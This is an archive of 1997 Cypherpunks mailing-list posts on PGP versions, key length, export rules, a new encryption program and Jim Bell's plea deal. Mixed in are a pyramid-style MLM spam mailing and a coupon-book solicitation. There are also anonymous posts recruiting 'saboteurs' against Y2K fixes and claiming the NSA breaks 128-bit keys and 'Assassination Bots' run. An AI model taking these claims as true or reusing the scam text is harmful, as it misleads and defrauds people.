> than to a lying bum?)
> 
> CyberBum
> 
> -----
> > I WAS A SMALL BUSINESS OWNER IN THE ATLANTA AREA. I RAN THIS
> > BUSINESS SUCCESSFULLY UNTIL ABOUT 60 DAYS AGO. AT THAT TIME, 2
> > SEPARATE COMPANIES FILED BANKRUPTCY AGAINST ME FOR A TOTAL OF
> > $ 47,000. I COULDN'T SURVIVE THAT.
> >
> > CONSEQUENTLY, I WAS UNABLE TO PAY MY CREDITORS, MOST OF WHOM
> > WERE FRIENDS. THEY HAVE FAMILY AS I DO AND I CAN'T LIVE WITH THE
> > THOUGHT OF DOING TO THEM WHAT HAS BEEN DONE TO ME. I'VE SPENT
> > MANY SLEEPLESS NIGHTS TRYING TO COME UP WITH A SOLUTION. I HAVE
> > NO WHERE TO TURN EXCEPT TO MY FELLOW MAN. MY ONLY FAMILY IS
> > MY FATHER. HE IS 74 AND SUFFERING FROM DIABETES AND PROSTATE
> > CANCER.
> >
> > I HAVE SLOD EVERYTHING EXCEPT THE CLOTHES OFF MY BACK AND MY
> > COMPUTER. AFTER THIS FINAL ATTEMPT FOR HELP, I WILL BE SELLING
> > IT.
> >
> > I WANT TO BE HONORABLE, BUT I CAN'T DO IT ALONE. I WOULD NEVER DO
> > THIS EXCEPT AS A LAST RESORT, BUT I KNOW THAT I WOULD HELP
> > SOMEONE IF I COULD.
> >
> > WILL YOU HELP ME?? ANY AMOUT WOULD BE VERY MUCH APPRECIATED.
> > THANK YOU
> >
> > W.E. HENDERSON
> > P.O. BOX 486
> > SMYRNA, GEORGIA 30081






From nobody at REPLAY.COM  Mon Jul 28 19:07:19 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 29 Jul 1997 10:07:19 +0800
Subject: NSA leak (fwd)
Message-ID: <199707290150.DAA04489@basement.replay.com>



Ian Goldberg wrote:
> >To: fight-censorship at vorlon.mit.edu
> >Subject: NSA leak
> >
> >WASHINGTON (AP) - In a rare moment of openness bordering on glibness, 
> > >senior official at the super-secret National Security Agency was overheard
> > >at a White House press conference concerning current bans on the export of
> > >enryption technology saying, "It would not take any twelve times the age of
> > >the universe to decrypt a 128-bit message.  Thirty-three minutes is more
> > >like it."

> Uh-huh.  Unless the Administration has granted a secret Executive Order
> repealing the Laws of Physics for the NSA, the above statement, if true,
> would imply one of the following things:
>
> 1. The NSA has a reversible computing machine with at least 2^128*128 bits
>    = 5.44*10^39 bytes = 4.95*10^27 TB of memory.
> 2. Their cracker changes the state of 2^128 bits in 33 minutes.
> 3. They have a quantum computer, or some alien technology, or something
>    else we know pretty much nothing about.

  This above is true when analyzed within the boundaries of current
cryptographical theory, but has about as much meaning as would the
discounting of Einstein's work by an old-school physicist.
  There was a rather bizarre post to the list a few months ago which
layed out a conceptual schematic of new research being done in the
area of encryption. Although the post was bizarre, the information
it provided was not. As a matter of fact, it seemed to be wider in
scope and more advanced in its application than the level currently
achieved by NSA and related covert government organizations.
  {And although the 33 minutes quote may lean toward bragging, it
is not off by much.}

  Research currently being done in the encryption field by those who
do *not* tell contains a smattering of new mathematical theory and
a significant quantity of analysis which is a close cousin to traffic
analysis. The result is that a person using _all_ of the security
and encryption capabilities of a strong crypto product is likely to
have secure communications, but if they neglect to perform even one
of the _minor_ security steps possible, then there is a crack in
their communication which can be expanded to a size large enough
to drive a tank through.
  LEA's are not battling to squelch the use of crypto that they
cannot readily break--they are battling to slow the growth of
strong encryption in order to maintain their current ability to
break encryption which is commonly thought to be secure.

D r . R o b e r t s
> ~~~~~~~~~~~~~~~~~~~







From nobody at REPLAY.COM  Mon Jul 28 19:49:34 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 29 Jul 1997 10:49:34 +0800
Subject: Not a Logic-Newbie / Re: Queries from a Cyper-newbie?
Message-ID: <199707290236.EAA08713@basement.replay.com>



Chris Avery wrote:
> 3. I'll do the www.crypto.com thing, thanks for the pointer. This may be a critical
last stand on the privacy of communications issue. What gets me is the
blind arrogance
with which govt "servants" assume that their (even if legitimate)
pursuit of crime
somehow excuses or justifies diminishing privacy rights for everyone
else. 
  There must be some kind of ratio: 1,000,000 rights diminished for  1
criminal 
activity detected?  Doesn't make sense.

  Don't worry about being a "Cypher-newbie" (even if you did spell it
wrong in the subject header). You can always learn the "numbers" and
the "terms," but at least you don't seem to fall into the category of
being a "Logic-newbie" or a "Common-sense-newbie," which is far from
uncommon in new (and some of the older) list members.
  As a matter of fact, I don't believe I've seen a post by any of the
cypherpunks list members which so simply points out that one of the
major reasons for the erosion of our civil rights is usurpment of
them by civil servants. In effect, the "servants" have armed themself
and taken over control of the manor from its owners--their "masters."

  "Legitimate needs" seem to have usurped "legitimate rights."
  All of a sudden, we are required, at gunpoint, to eat our meals only
at times which conveniently fit into the "servant's" schedule. Next,
we find out that the servants "don't do windows." Then we find out
that the servants need to sleep in the "big bedroom" because they
work so much harder than us, and that we have to sleep in the barn
because they need the servant's quarters for other "legitimate needs."
  The "tail" of government is wagging the "Bull Mastiff" of our
Constitutional rights and freedoms.

  Please continue to follow the cypherpunks list, as there is a decided
shortage of individuals left in society who are capable and willing to
understand the importance of true privacy, rights and freedom. There is
no disgrace in having been round-up and penned with the rest of the
sheeple, but it is a sad day, indeed, when we fail to keep an eye open
for a "gate" inadvertantly left open, so that we can graze on the open
range when circumstances permit.
{And if the gatekeeper happens to bend over in a position that places
his/her head close to your hooves...}

TruthMonger






From nobody at REPLAY.COM  Mon Jul 28 20:05:02 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 29 Jul 1997 11:05:02 +0800
Subject: Spare DigiCa$h? / Re: AN APPEAL TO THE HUMAN RACE
Message-ID: <199707290147.DAA04123@basement.replay.com>



amaninneeeedeer443553444 at aol.com wrote:
>
> PLEASE HELP

  What follows is an example of the CyberBums predicted by one of the
list members some time back. This A(ssh)OL(e) is using his spambot to
"Spare change?" millions of people at a time and it turns out that
besides his required, basic tale of woe, that he also has the proverbial
parent who is dying from cancer.

  Don't send him any money.
  Send *ME* money. I will use it to buy enough cheap wine to enable me
to throw up on my shoes.
(Wouldn't you rather send your hard-earened money to an honest drunk
than to a lying bum?)

CyberDrunk
> > -----
> > I WAS A SMALL BUSINESS OWNER IN THE ATLANTA AREA. I RAN THIS
> > BUSINESS SUCCESSFULLY UNTIL ABOUT 60 DAYS AGO. AT THAT TIME, 2
> > SEPARATE COMPANIES FILED BANKRUPTCY AGAINST ME FOR A TOTAL OF
> > $ 47,000. I COULDN'T SURVIVE THAT.
> >
> > CONSEQUENTLY, I WAS UNABLE TO PAY MY CREDITORS, MOST OF WHOM
> > WERE FRIENDS. THEY HAVE FAMILY AS I DO AND I CAN'T LIVE WITH THE
> > THOUGHT OF DOING TO THEM WHAT HAS BEEN DONE TO ME. I'VE SPENT
> > MANY SLEEPLESS NIGHTS TRYING TO COME UP WITH A SOLUTION. I HAVE
> > NO WHERE TO TURN EXCEPT TO MY FELLOW MAN. MY ONLY FAMILY IS
> > MY FATHER. HE IS 74 AND SUFFERING FROM DIABETES AND PROSTATE
> > CANCER.
> >
> > I HAVE SLOD EVERYTHING EXCEPT THE CLOTHES OFF MY BACK AND MY
> > COMPUTER. AFTER THIS FINAL ATTEMPT FOR HELP, I WILL BE SELLING
> > IT.
> >
> > I WANT TO BE HONORABLE, BUT I CAN'T DO IT ALONE. I WOULD NEVER DO
> > THIS EXCEPT AS A LAST RESORT, BUT I KNOW THAT I WOULD HELP
> > SOMEONE IF I COULD.
> >
> > WILL YOU HELP ME?? ANY AMOUT WOULD BE VERY MUCH APPRECIATED.
> > THANK YOU
> >
> > W.E. HENDERSON
> > P.O. BOX 486
> > SMYRNA, GEORGIA 30081







From freesoftware at worldnet.att.net  Tue Jul 29 12:40:59 1997
From: freesoftware at worldnet.att.net (freesoftware at worldnet.att.net)
Date: Tue, 29 Jul 1997 12:40:59 -0700 (PDT)
Subject: Free software available online.
Message-ID: <19970729184725.AMU13842@mailhost.worldnet.att.net>


This is a one time mailing, you are not on a mailing list and will not be contacted again.
-----------------------------------------------------------------------
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your time,  money and effort 10,000% or more....  So  don't  underestimate the  AMAZING power of this system to put lots of 
$$$ cash $$$ in your pocket fast...

    The PRODUCT in this business is a series of six Info-Reports on the following topics:

   Report # 1: " UNDERSTANDING THE REAL POWER OF MLM "
   Report # 2: " EVERYTHING YOU NEED TO KNOW ABOUT THE    INTERNET "
   Report # 3: " MARKETING YOUR BUSINESS ON-LINE "
   Report # 4: " SECRETS OF THE RICHEST PEOPLE IN THE WORLD "
   Report # 5: " THE TRUTH ABOUT DOWNLINE BUILDING CLUBS "
   Report # 6: " THE GUIDE TO YOUR SYSTEM "

    The information contained in these reports  will not only help you in making your participation in this business more
 rewarding but will be useful to you in other business decisions you make in the years ahead.

    In any  MULTILEVEL MARKETING BUSINESS,  we have  a method  of raising CAPITAL that works 100% every time !.  
We are sure that you could see $ 50,000 to $ 500,000 in the next few weeks. Before you say, "NO WAY",please study this
 program carefully.

    THIS IS NOT A CHAIN LETTER OR A PYRAMID SCHEME, but a legal money making opportunity.  Basically,  this  is  
what we do:  As with all  Multilevel businesses, we build our business by recruiting new partners and selling our products 
on-line.  

    Each $ 5.00 order you receive will  include the  E-mail address of the sender !.  To fill each order, you simply E-mail a 
special CODE to the buyer that will instruct his program to extract the requested product(one of the six business and financial 
reports).

    If the buyer  doesn't have an E-mail  address simply  print the  Sales Receipt that the program generates and send it as a
 letter via regular mail.When the buyer receives his CODE he will enter it into the program andthe program will extract the 
corresponding product (Info-Report)."That's it...the  $ 5.00 is yours."  This is the  GREATEST  MultilevelElectronic Marketing 
program anywhere in the world !. The business can be conducted entirely on-line (E-mail and the WWW) or via regular mail 
with diskettes and regular letters.

    HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$ MONEY $$
    ---------------------------------------------------------

    Let's say  you decide to start small  just to see how it goes  and we'll assume your goal is to get 10 people to participate on
 your first level. Placing a lot of Free Ads on the Internet  could easily cause you to get a much better  response.  Mailing  
diskettes to opportunity seekers  and computer users will surely generate more than 10 people as well.

    Also many people will want to get more than 10 people. But continuing
    with this example, you get 10 people to participate.

    1) That's 10 people in your first level
       who will order Report # 1 from you.
       (10 orders at $ 5 each = $ 50.00).

    2) Those 10 people sponsor at least 10 people each.
       That's 100 people in your second level
       who will order Report # 2 from you.
       (100 orders at $ 5 each = $ 500.00).

    3) Those 100 people sponsor 10 people each.
       That's 1,000 people in your third level
       who will order Report # 3 from you.
       (1,000 orders at $ 5 each = $ 5,000.00).

    4) Those 1,000 people sponsor 10 people each.
       That's 10,000 people in your fourth level
       who will order Report # 4 from you.
       (10,000 orders at $ 5 each = $ 50,000.00).

    5) And finally, those 10,000 people will sponsor 10 people each.
       That's 100,000 more people on your fifth and last level
       who will order Report # 5 from you.
       (100,000 orders at $ 5 each = $ 500,000.00).


    Sumarizing the grand total of orders and profits:

               111,110 orders  x   $ 5.00 each   =  $  555,550.00


    ************************************
    THAT'S OVER HALF A MILLION DOLLARS !!     Unbelievable !!
    ************************************

    Now, think about it !. Is 10 people an unrealistic goal ?   NO !.

    There are millions of computer users on the Internet. There are millions of computer users that are not connected to the
 Internet yet.
Anybody working on-line and off-line  distributing the  PSM software can
easily sponsor 10 users and more !. The PSM system is 100% DUPLICATABLE.
There is no room for mistakes !. Anyone CAN do it but not everyone KNOWS
HOW to do it !.  So the only work is to share  this Information with all
those people who want and need to make money with their computers.

    Remember friends, this is assuming that the people who participate only recruit 10 people each, but everyone is free to 
distribute as many copies as desired at any time !. THERE IS NO LIMIT !.

    Dare to think for a moment what would happen if everyone got  20 people to participate. INCREDIBLE !!  Believe me, 
many people will do just that and more. 

To get a "FREE" copy of this amazing software just reply to this email with SEND IT in
 your subject line or send a SELF ADDRESSED STAMPED ENVELOPE to:

Twin Internet Systems
P.O. Box 1794
Wilkes Barre, PA, 18703

This is the same chance someone gave me and I was lucky enough to take a serious look at this software and it has
 been one of the best moves I have ever made! I hope you too will realize that opportuntities like this are rare and that 
you dont let it slip through your fingers like many people do (remember there are those that say, and those that do. 
Which are you?)

God Bless 






From declan at pathfinder.com  Mon Jul 28 22:07:50 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Tue, 29 Jul 1997 13:07:50 +0800
Subject: "What is your strategy to avoid RSACi type systems?"
In-Reply-To: 
Message-ID: 



Robert is not exaggerating. Jamie's boss is Ralph Nader. Their offices
are, maybe, 10 feet away from each other in the second floor of the
Carnegie Institute in Washington.

-Declan


On Mon, 28 Jul 1997, Robert Hettinga wrote:

> At 1:52 pm -0400 on 7/28/97, Tim May wrote:
> 
> 
> > After reading several of James Love's posts, I think we are either just
> > talking at cross purposes, or that he hasn't thought carefully about the
> > constitutional issues. Maybe both. In any case, this'll probably be my last
> > response to his points.
> 
> Jamie Love is one of those nasty Naderites who believes that what the
> government shouldn't control, the plaintiff bar should.
> 
> I killfiled him on com-priv a long time ago, and, when Tim started rastlin'
> ol' Ralph-once-removed here on cypherpunks, I killfiled Love here, too.
> 
> Oddly enough, Love has a mailing list with lots of fun government-baiting
> goodies in it, so he's not all that bad. Chalk it up to broken clock
> disease, I guess...






From dkp at iname.com  Mon Jul 28 22:55:41 1997
From: dkp at iname.com (Dave K-P)
Date: Tue, 29 Jul 1997 13:55:41 +0800
Subject: Queries from a Cyper-newbie?
In-Reply-To: <01BC9B6D.6CC7B860@h97-172.ccnet.com>
Message-ID: <33DD81A6.3920@iname.com>



Chris Avery wrote:



> 1. PGP 5.0 -- good software? If not, what problems?  Why to use DSS vs/

> RSA keys?  How is 5.0 different than 2.6.3i ?  Which is better?



	I can only speak from experience that PGP 5.0 is "good software"

in that it has not caused me any problems.  In the DSS/Diffie-Hellman

vs. RSA debate, you would do well to go to www.rsa.com and read their
FAQ
on both cryptosystems.  5.0 is different from 2.6.3i in the following
ways: 5.0 can create DSS/Diffie-Hellman key pairs, 2.6.3i cannot. 
2.6.3i
can create RSA key pairs, 5.0 cannot.  5.0 can utilize both kinds of key

pairs whereas 2.6.3i can only utilize RSA key pairs.  As well, 5.0 is

legal to use in the US while 2.6.3i violates copyright protection. Only

you can decide which is better for your purpose(s), however.



> 2. Are emails encrypted using PGP 5.0 decypherable by PGP 2.6.3i (and

> vice versa?)  Using RSA keys?



	2.6.3i is completly compatible with 5.0 (and vice versa)

_except_ if it involves DSS/Diffie-Hellman key pairs.



> 3. I understand certain encryption s/w cannot be legally exported, I am

> aware that such s/w is nevertheless being used (and built) abroad.  My

> queries:  Is purely domestic use being threatened by the pending

> legislation?  Is it already illegal to send an encrypted msg out of the

> US? If so, is it illegal to receive an encrypted msg from outside the
> US?



	As I recall, domestic use is being threatened by a law that would

make illegal the use of cryptosystems without escrowed keys.  At present

time though, it is legal to send enciphered messages to and from the US.



> 4. How strong is strong?



	From Applied Cryptography (Second Edtion) by Bruce Schneier (which

you should buy a copy of) ...


	"The wise cryptographer is ultra-conservative when choosing
public- key key lengths.  To determine how long a key you need requires
you to look at both the intended security and lifetime of the key, and
the
current state-of-the-art of factoring.  Today, you need a 1024-bit
number
to get the level of security you got from a 512-bit number in the early
1980s.  If you want your keys to remain secure for 20 years, 1024 bits
is
likely too short."



> 5. Is international data traffic somehow monitored (or monitorable) to

> detect encrypted traffic?



	Of course it is!  One of the uses of crytography is to secure

those messages that would otherwise be monitored in plaintext.  It goes

without saying that the ciphertext can be monitored, as well.



-- 

dkp at iname dot com * Exit the System.

4B63 E55D 1C92 68E3 8700 0EBF 5CDD 5538

--






From 94083120 at usa.net  Tue Jul 29 14:42:10 1997
From: 94083120 at usa.net (94083120 at usa.net)
Date: Tue, 29 Jul 1997 14:42:10 -0700 (PDT)
Subject: Save Up To $1000 on Your Grocery Bills!
Message-ID: <1997051680036.info1@lunarlanding.com>


Dear Fellow Internet User,

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from middle class mothers on a budget to wealthy matrons use coupons. WHY? Because if you
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Web Page
Post Flyers at Supermarkets
Run a Classified Ad

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To order your grocery coupon book, send $20 ($30 with the Distributor's Marketing Guide) in the form of cash, check or money order to:

Information Highway
PO Box 513
Southampton, PA 18966







From nobody at REPLAY.COM  Tue Jul 29 00:10:27 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 29 Jul 1997 15:10:27 +0800
Subject: y2k problem *serious*
Message-ID: <199707290640.IAA04623@basement.replay.com>



Vladimir Z. Nuri wrote:
>
> some people have talked about the y2k problem here, the
> "year 2000 problem". as programmers know, is the
> name given to the glitches that are caused by software
> malfunctioning because it only used 2 characters for the
> date field.
...
>  some recent new data and analysis by someone
> named Gary North causes me to rethink my position.
> it's somewhat alarmist, but he's got some excellent evidence.
> he believes the year 2000 problem is vastly more serious
> than anyone has realized. he thinks it may even lead to
> bank panics and instabilities in the entire worldwide
> economic system.

  There is an underground computer organization in place which is
actively working toward sabotaging government and corporate efforts
to resolve the Year 2000 problems. They began coordinating their
efforts in 1990, almost a decade before the powers-that-be will
finally get around to recognizing the need to definitively move
on the matter in a major way.
  In essence, the goals of the organization have been to promote
the most unwieldy, unworkable and inefficient solutions possible
to the Year 2000 programming problems which exist on various
platforms. It was forseen that the problem would be a weak point
in the New Electronic World Order that could be effectively used
to inject chaos and diversion into the plans of the secret world
governments to turn the Internet into a tool of government and
corporate fascism.

  The end goal is to be able to manage a breakdown of the current
world-power structure in a manner that will allow society to be
able to survive and continue, while shifting the source of power
and control to the innovative individuals and organizations who
are able to adapt and evolve in the InterActive Electronic Age
of Communication.
  The problems of creeping fascism are closely related to the
problems that result from statism. Even anarchist recognize the
need for social order and contracts, but not at gunpoint--not
in a static system which results in the rich getting richer and
the strong getting stronger.
  A controlled breadown of existing systems will prevent the
stifling of our freedom to grow and evolve by those whose interests
lie in crushing innovation and evolutionary progress. It will give
those who have the capacity to adapt and survive an edge in the
development of the evolving Age of Information.

  We are on the threshold of the dawning of a New Age which will
be every bit as world-changing as the Industrial Revolution. It is
up to each of us, as individuals, to choose whether we will attempt
to cling blindly to the past or stride boldly into the future.
  The criminals who are currently in power are a danger to our lives
and our freedom. Their interest lies in maintaining the currently
prevailing power structures, and in stifling and oppressing those
ideas and individuals who threaten their hold on the reigns of
power.
  There is a need for spies and saboteurs who are capable of working
on their own, or in small cells, to disrupt the attempts of the
fascists, the censors, the power-grabbers, to define, rate and
censor, to control and manipulate world markets and currencies,
to monitor all activities and communications and suppress those
who would think or act in ways which are contrary to the goals
of the New Electronic World Order.

  The "Digital Revolution" began almost a decade ago, regardless of
when "Wired" copyrighted the phrase.
  Feel free to join the revolution and do your part to change the
course of history. Government and Corporate fascism is much like
configurable software--it "defaults" to certain settings, but the
more individuals who customize it to meet their own needs, then
the more those who produce that software will have to strive to
meet the legitimate needs of the *users* in order to retain their
votes/market-share, instead of requiring the users to bend to
meet the "legitimate" needs of the Fa$cists and Ca$h Cow$.
  Your rights and freedoms are your inheritance. Will you allow them
to be sold for a "bowl of pottage?"

Bubba Rom Dos
'0' if by land. '1' if by sea. 'NULL' if by air.






From tcmay at got.net  Tue Jul 29 00:40:58 1997
From: tcmay at got.net (Tim May)
Date: Tue, 29 Jul 1997 15:40:58 +0800
Subject: New Crypto Application
In-Reply-To: 
Message-ID: 



At 11:15 AM -0700 7/28/97, Dave K-P wrote:
>? the platypus {aka David Formosa} wrote:
>
>> On Sun, 27 Jul 1997, Guillotine wrote:
>>
>> > I'm creating a new _text_ cryptography program.
>>
>> If you are not useing a well know and strong cyper method I suggest you
>> post details of your meathod to sci.crypt where thay will (most likely)
>> pick holes in it.
>
>	From the sci.crypt FAQ...


What's a "FAQ"?

I think I'll just go ahead and challenge people to break my
SuperWhammomatic, CryptoPadalyzer. (I spent more time coming up with the
name than I did working on the algorithm, so I hope you all like it.)



--Tim "the Newbie"


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From nobody at REPLAY.COM  Tue Jul 29 00:41:44 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 29 Jul 1997 15:41:44 +0800
Subject: Libertarians for whom Jim Bell tolls...
Message-ID: <199707290721.JAA09125@basement.replay.com>



Vin Suprynowicz wrote: 
>     FROM MOUNTAIN MEDIA
>     THE LIBERTARIAN, By Vin Suprynowicz
>     Three-way race in New Jersey, tax resister faces five years
> 
>     Dr. Murray Sabrin, talk show host, professor of finance at Ramapo
> College in Mahwah, N.J. and author of the book "Tax Free 2000,"  says he
> may be able to do something no other Libertarian can do in 1997: Appear in
> a nationally televised debate.
> 
>   "If we raise $210,000 by August 31 we are in the debates. No commissions,
> no review boards -- it's a matter of law," reports Libertarian nominee
> Sabrin.
>    "With over $50,000 raised in funds and pledges, we're about 25 percent
> of the way there. ..."
>       #  #  #
>   Forwarded from http://www.infowar.com comes this government report:
> 
>   "United States Attorney Kate Pflaumer announced that JAMES DALTON BELL,
> 39, pleaded guilty today in the federal court in Tacoma to two felony
> charges. BELL, a resident of Vancouver, Washington, pleaded guilty to
> obstructing and impeding the Internal Revenue Service (IRS), and to falsely
> using a Social Security number with the intent to deceive. ...
> 
>   "The charges stem from an investigation initiated in October, 1996 by IRS
> Internal Security Inspectors into reports that BELL was gathering the names
> and home addresses of IRS employees. ...
> 
>   "In the eight page plea agreement signed by BELL, he acknowledged that he
> had gathered the names and addresses of the IRS employees in order to
> intimidate them in the performance of their official duties.
> 
>   "During the course of their investigation, IRS Inspectors discovered that
> BELL was advocating a scheme called "Assassination Politics", whereby
> persons would be rewarded with "digital cash" for killing certain
> undesirable people. BELL identified these undesirables as government
> employees, such as IRS employees, who would be intimidated from enforcing
> internal revenue laws for fear of being assassinated. In the plea
> agreement, BELL admitted that he suggested using "Assassination Politics"
> as an enforcement mechanism for the "Multnomah County Common Law Court",
> and that this was part of his effort to obstruct and impede the enforcement
> of internal revenue laws. ...
> 
>   "In the plea agreement, BELL also admitted that on March 16, 1997, he
> conducted a chemical "stink bomb" attack on the IRS office in Vancouver,
> Washington, using the noxious chemical mercaptan. ...

  This is interesting, since they had no evidence that he did so.
However, they managed to get him to "confess" by illegally holding
without bond for crimes which they never intended to charge him with
in the first place.
  I hope that Jim's lawyer is suitably rewarded for his part in selling
Jim down the river.

>   "IRS Inspectors indicated that the mercaptan attack may have been linked
> to the Feb. 20, 1997 seizure of BELL's vehicle by the IRS for unpaid taxes.

  In effect, they are saying that since they didn't have any evidence
against Jim for the crime that they wanted him to "pay" for, that they
used the threat of major criminal charges to convince him to "confess"
to the crime, and held him without bail to let him know that the Justice
system is under the control of the IRS, and not the defendant.

>   "As part of the plea agreement, BELL also admitted that he used several
> different social security numbers in order to hide assets from the IRS ...
> to prevent the IRS from levying his wages.  ...
> 
>   "BELL faces a maximum sentence of three years in prison and a $250,000
> fine for the obstruction charge, and five years and a $250,000 fine for
> using a phony Social Security number."
> 
>   It appears Bell was held without bond until he signed.

  Probably more effective than beating him with a rubber hose.
 
> Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
> Review-Journal. Readers may contact him via e-mail at vin at lvrj.com. The web
> site for the Suprynowicz column is at http://www.nguworld.com/vindex/. The
> column is syndicated in the United States and Canada via Mountain Media
> Syndications, P.O. Box 4422, Las Vegas Nev. 89127.
> 
> ***
> 
> Vin Suprynowicz,   vin at lvrj.com
> 
> Voir Dire: A French term which means "jury stacking."

Vin,
  Did you know that the IRS used the information gleaned from Jim Bell's
hard drive to send the "chilling" details of Jim Bell's plea agreement
to the individuals and mailing lists he corresponded with?
  Did you know that when he arrested, there were no Assassination Bot's
in existence, and that there are now at least six prototypes currently
in operation?

  God Bless AmeriKa.

TruthMonger







From nobody at REPLAY.COM  Tue Jul 29 00:42:21 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 29 Jul 1997 15:42:21 +0800
Subject: Guns, Roses & Tobacco
Message-ID: <199707290722.JAA09290@basement.replay.com>



  Meantime, taking their cue from the Tobacco Nazis, the city of
Philadelphia is trying to figure out how to sue gun manufacturers for
their
crime rate -- 414 homicides last year, according to conservative
gabmeister
Rush Limbaugh. "Expect the arguments to focus on how unsafe guns are,
the
lack of warning labels, the lack of formal training programs, etc." ...
rather than simply improve public safety by legalizing concealed
"Vermont
carry."

  The notion that gun manufacturers can be sued for manufacturing a
faulty
product is somewhat bizarre, of course, if the product (rather than
blowing
up in the user's hand, say) did precisely what it was intended to do.

  If America's socialist mayors and city councils are going to play this
brand of roulette, at least the odds should be evened. Why don't the
firearms manufacturers go ahead and offer to pay the municipalities,
say,
$500,000 for every innocent citizen killed by one of their products
(except
by the government's own police, of course) ... if the municipalities, in
turn, will pay them $500,000 every time one of their weapons is used (by
either police or commoner) to kill, wound, or drive away an intended
rapist, robber, burglar or murderer ... or tax collector or other
government agent acting in excess of his or her constitutionally
delegated
powers -- the main purpose for which the founders wanted to guarantee we
had such instruments of liberty, in the first place.

Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
Review-Journal. Readers may contact him via e-mail at vin at lvrj.com.

***


Vin Suprynowicz,   vin at lvrj.com

Voir Dire: A French term which means "jury stacking."






From nobody at REPLAY.COM  Tue Jul 29 00:55:29 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 29 Jul 1997 15:55:29 +0800
Subject: Prior Restraint
Message-ID: <199707290718.JAA08751@basement.replay.com>



  "In a stunning rebuke to overzealous prosecutors," reports the New
York-based National Coalition Against Censorship, the owner and manager
of
the store called simply Newstand, in Bellingham, Wash., have been found
not
guilty and awarded $1.3 million "for prior restraint and for retaliatory
prosecution" by a U.S. District Court jury in Seattle.

  Ira Stohl and Kristina Hjelsand had been charged with obscenity for
selling the controversial magazine "Answer Me!" a short-lived but
legendary
periodical that offered extremely politically incorrect articles about
rape, among other subjects.

  The NCAC earlier reported the owners of Newstand rejected an offer
from
the prosecutor to drop criminal charges in return for a promise not to
carry further issues of "Answer Me!" or "anything remotely similar."

  Instead, the freedom fighters displayed the magazine in their store,
chained, under lock and key.

  The jury found that the troglodytes in charge of Whatcom County had
violated Stohl and Hjelsand's First Amendment rights, caused emotional
suffering, and damaged their business.

  Censorship News, the quarterly newsletter of the NCAC, is published
out
of 275 Seventh Ave., New York, N.Y. 10001, e-mail ncac at netcom.com, web
page
http://www.ncac.org.

Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
Review-Journal. Readers may contact him via e-mail at vin at lvrj.com. The
web
site for the Suprynowicz column is at http://www.nguworld.com/vindex/.

***


Vin Suprynowicz,   vin at lvrj.com

Voir Dire: A French term which means "jury stacking."







From stewarts at ix.netcom.com  Tue Jul 29 00:59:54 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Tue, 29 Jul 1997 15:59:54 +0800
Subject: New Crypto Application
In-Reply-To: <199707272124.PAA12529@xmission.xmission.com>
Message-ID: <3.0.2.32.19970728081025.00772920@popd.ix.netcom.com>



At 03:24 PM 7/27/97 -0600, Guillotine wrote:
>I'm creating a new _text_ cryptography program.  

What do you mean by "text cryptography"?  You'll only accept text as input,
or you'll produce your output in ASCII, or you'll produce your output
as English-like words?  None of the common encryption algorithms treats
text input any differently that raw bits, and it's worth taking whatever
input you have and compressing it to reduce the amount of data the
encryption and transmission phases need to handle.  Producing printable
ASCII as an output format isn't a cryptography issue - it's just a 
simple reversable transform from a bunch of raw bits to printable,
and there's no excuse for inventing a new format rather than using
MIME encoding, uuencode, or btoa, unless you're doing something extremely
creative with Unicode...  

Producing output as English-like words is more interesting.
It's a steganography issue, not a cryptography issue, since you should
be doing the secure part first anyway, but it can be useful for
obscuring the fact that you're using crypto in a message.
The canonical reference is to Peter Wayner's Mimic Functions,
which let you model an arbitrary context-free grammar for output,
but you should also look around for "texto".  (The other canonical
reference is to "PHB", Dilbert's program that disguises the message
in Pointy Haired Boss jargon, but I'm not aware that anyone's written it.)

A good book to read on cryptois Bruce Schneier's "Applied Cryptography",
which discusses most of the current algorithms and how they're used.
>The encryption algorithm,
>using a symmetrical is going to be as strong as legally allowed, 

There are no legal restrictions on cryptography strength in the US;
only restrictions on what's exportable, and even then you need permission. 

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From guill at xmission.com  Tue Jul 29 01:18:22 1997
From: guill at xmission.com (Guillotine)
Date: Tue, 29 Jul 1997 16:18:22 +0800
Subject: New Crypto Application
Message-ID: <199707290750.BAA01427@xmission.xmission.com>



The first of ten replies to my e-mail that has any decent information...

>>I'm creating a new _text_ cryptography program.  
>
>What do you mean by "text cryptography"?  You'll only accept text as input,
>or you'll produce your output in ASCII, or you'll produce your output
>as English-like words?

It's going to be a GUI program for Windows/95 (evil, I know, but where else
is the money at?) written in Delphi.  For a quick explanation...  it has two
memo-textareas for the input and output and one edit-area for the key.  I
called it a _text_ encryption program because it's a small application like
NotePad.exe which you can just type into, encrypt, and copy the output into
your e-mail or into a file...  and it accepts ANY ascii characters as input.
The output is as garbled as hell too, not alphanumeric.

>  None of the common encryption algorithms treats
>text input any differently that raw bits, and it's worth taking whatever
>input you have and compressing it to reduce the amount of data the
>encryption and transmission phases need to handle.  Producing printable
>ASCII as an output format isn't a cryptography issue - it's just a 
>simple reversable transform from a bunch of raw bits to printable,
>and there's no excuse for inventing a new format rather than using
>MIME encoding, uuencode, or btoa, unless you're doing something extremely
>creative with Unicode...  

True, it's all raw bits to this program.  As an added plus, it supports
pasting from clipboard of any binary format using a clipboard memory dump.
